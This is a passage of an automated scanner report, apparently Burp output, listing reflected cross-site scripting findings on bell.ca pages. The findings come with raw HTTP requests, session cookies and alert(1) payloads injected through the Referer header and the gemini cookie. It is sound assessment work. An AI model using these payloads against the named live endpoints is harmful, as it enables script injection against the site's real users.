Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: 25c55--><script>alert(1)</script>11b51b0e57a

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:35 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 11138
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 25c55--><script>alert(1)</script>11b51b0e57a -->

2.406. https://www.bell.ca/support/PrsCSrvPns_ChangePhoneNumber.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /support/PrsCSrvPns_ChangePhoneNumber.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f6ba'-alert(1)-'743200518fb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/PrsCSrvPns_ChangePhoneNumber.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=7f6ba'-alert(1)-'743200518fb

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:20:51 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13721


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/support/framework/skins/content/conte
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=7f6ba'-alert(1)-'743200518fb';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.407. https://www.bell.ca/support/_CtUs_Eform.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /support/_CtUs_Eform.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 6474c--><script>alert(1)</script>78043081e40 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /support/_CtUs_Eform.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=6474c--><script>alert(1)</script>78043081e40

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:19:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3644
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/support/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=6474c--><script>alert(1)</script>78043081e40 -->
...[SNIP]...

2.408. http://www.bell.ca/home/popups/personal/redirectAliant.jsp [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /home/popups/personal/redirectAliant.jsp

Issue detail

The value of the gemini cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c681"-alert(1)-"742bf47a359 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /home/popups/personal/redirectAliant.jsp?locationParam= HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en4c681"-alert(1)-"742bf47a359; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:43:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Length: 5572
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=cxJQMtQFF5ykB4Ng2gRJb6l9rLL6v290y43ws1PKX20vr6NqP1lN!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
<title>?bundle:StringBundle?</title>
<meta name="keywords" content="bell.ca" />
<meta name="description" content="bell.ca" />

...[SNIP]...
<!--
// Confirmation of the redirection to Aliant.net
function doRedirect(){
var region = "NS";
var lang = "en4c681"-alert(1)-"742bf47a359";
var locationParam = "";
var targetUrl = "http://productsandservice.aliant.net/PS/bell_punchin.jsp" + "?location=" + locationParam + "&region=" + region + "&language=" + lan
...[SNIP]...

2.409. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpGifts_Buy.page

Issue detail

The value of the gemini cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb0df"-alert(1)-"3e8a5322752 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpGifts_Buy.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=enbb0df"-alert(1)-"3e8a5322752; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:41:03 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Length: 7011
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=fxLnMtQf1FNnn8nRttyY9kF27vhd279tynDqYvJSQ316rnNStJqY!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<script type="text/javascript" language="javascript">
function popperNoScroll(thisUrl, thisWindow, thisWidth, thisHeight, thisTop, thisLeft) {
optionString = ('width=
...[SNIP]...
setPrevDefinedOmniVars();
getREQueryKeys();

s.channel="Error";

s.prop10=(typeof s_pageName!="undefined"?s_pageName:"nb:error:invalidSession_error[resource]");


s.prop19="enbb0df"-alert(1)-"3e8a5322752";
s.prop20="ns";
s.prop21="enbb0df"-alert(1)-"3e8a5322752-ns";
s.prop30="Omnitrack.jsp";
s.prop44="";
s.eVar44="";
if(typeof s_tab=="undefined"){
s.pageName=s.pr
...[SNIP]...

2.410. http://www.bell.ca/shopping/PrsShpInt_Accessories_Buy.page [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpInt_Accessories_Buy.page

Issue detail

The value of the gemini cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5fef"-alert(1)-"cfaeefb5a6d was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpInt_Accessories_Buy.page?activeModule=Internet&activeWorkflow=InternetFilters&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=Z200SM HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=enf5fef"-alert(1)-"cfaeefb5a6d; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:41:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Length: 5818
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=Brf1MtQRhQXWT1hGcPSQvmWYLSQ8CXtRmtpSLdr4qpn1BPHXngmL!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
   <title>Bell - Timeout event / Expiration de la session pour d&eacute;passement de d&eacute;lai.</title>
   <link href='/shopping/framework/skins/content
...[SNIP]...
tPrevDefinedOmniVars();
getREQueryKeys();

s.channel="Error";

s.prop10=(typeof s_pageName!="undefined"?s_pageName:"nb:error:userSessionTimeout_error[resource]");


s.prop19="enf5fef"-alert(1)-"cfaeefb5a6d";
s.prop20="ns";
s.prop21="enf5fef"-alert(1)-"cfaeefb5a6d-ns";
s.prop30="Omnitrack.jsp";
s.prop44="";
s.eVar44="";
if(typeof s_tab=="undefined"){
s.pageName=s.pr
...[SNIP]...

2.411. http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/popups/personal/storeLocator/slmap.jsp

Issue detail

The value of the gemini cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ae2f"-alert(1)-"01cce41cc36 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/popups/personal/storeLocator/slmap.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en1ae2f"-alert(1)-"01cce41cc36; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:19:09 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=wzQ4MsyML5tRjrYZvlTSh9FpLTd0sdF1W0m6SL7VtJCqNYjQcvsl!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 25074


lang = "en";

<script type="text/javascript">
<!--
window.location.href='http://www.bell.ca/support/PrsCSrvGnl_security_informati
...[SNIP]...

    SLConfig.maxStoresReturned = 24;
    SLConfig.maxSearchRadiusInKm = 250;
    //SLConfig.pushpinsPath = "/shopping/popups/personal/storeLocator/images/pins";
   
    var pageLocale = "en1ae2f"-alert(1)-"01cce41cc36_CA_ON";
   </script>
...[SNIP]...

2.412. http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/popups/personal/storeLocator/slmap.jsp

Issue detail

The value of the gemini cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 412f1"><script>alert(1)</script>b83b1bc5310 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /shopping/popups/personal/storeLocator/slmap.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en412f1"><script>alert(1)</script>b83b1bc5310; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:19:06 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=TL4QMsyKy6gTmKw1J07BQt15515QQ9RMbZR7RlwWgtkyZ2Q1T6Hc!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 25189


lang = "en";

<script type="text/javascript">
<!--
window.location.href='http://www.bell.ca/support/PrsCSrvGnl_security_informati
...[SNIP]...
<img src="/web/common/en412f1"><script>alert(1)</script>b83b1bc5310/all_regions/images/buttons/btn_search.gif"
alt="?bundle:storeLocator?"/>
...[SNIP]...

2.413. http://www.bell.ca/support/popups/personal/billing/mybellvideo.jsp [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/popups/personal/billing/mybellvideo.jsp

Issue detail

The value of the gemini cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbf97"-alert(1)-"5d2346a6d1e was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/popups/personal/billing/mybellvideo.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=endbf97"-alert(1)-"5d2346a6d1e; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:05:14 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 5002
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=KgmRMtFL8g3btxpJqrK7YLbqNhjC5KVNR3w9TYyX3gGhHm6VLTLQ!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
<title>Bell > Personal</title>
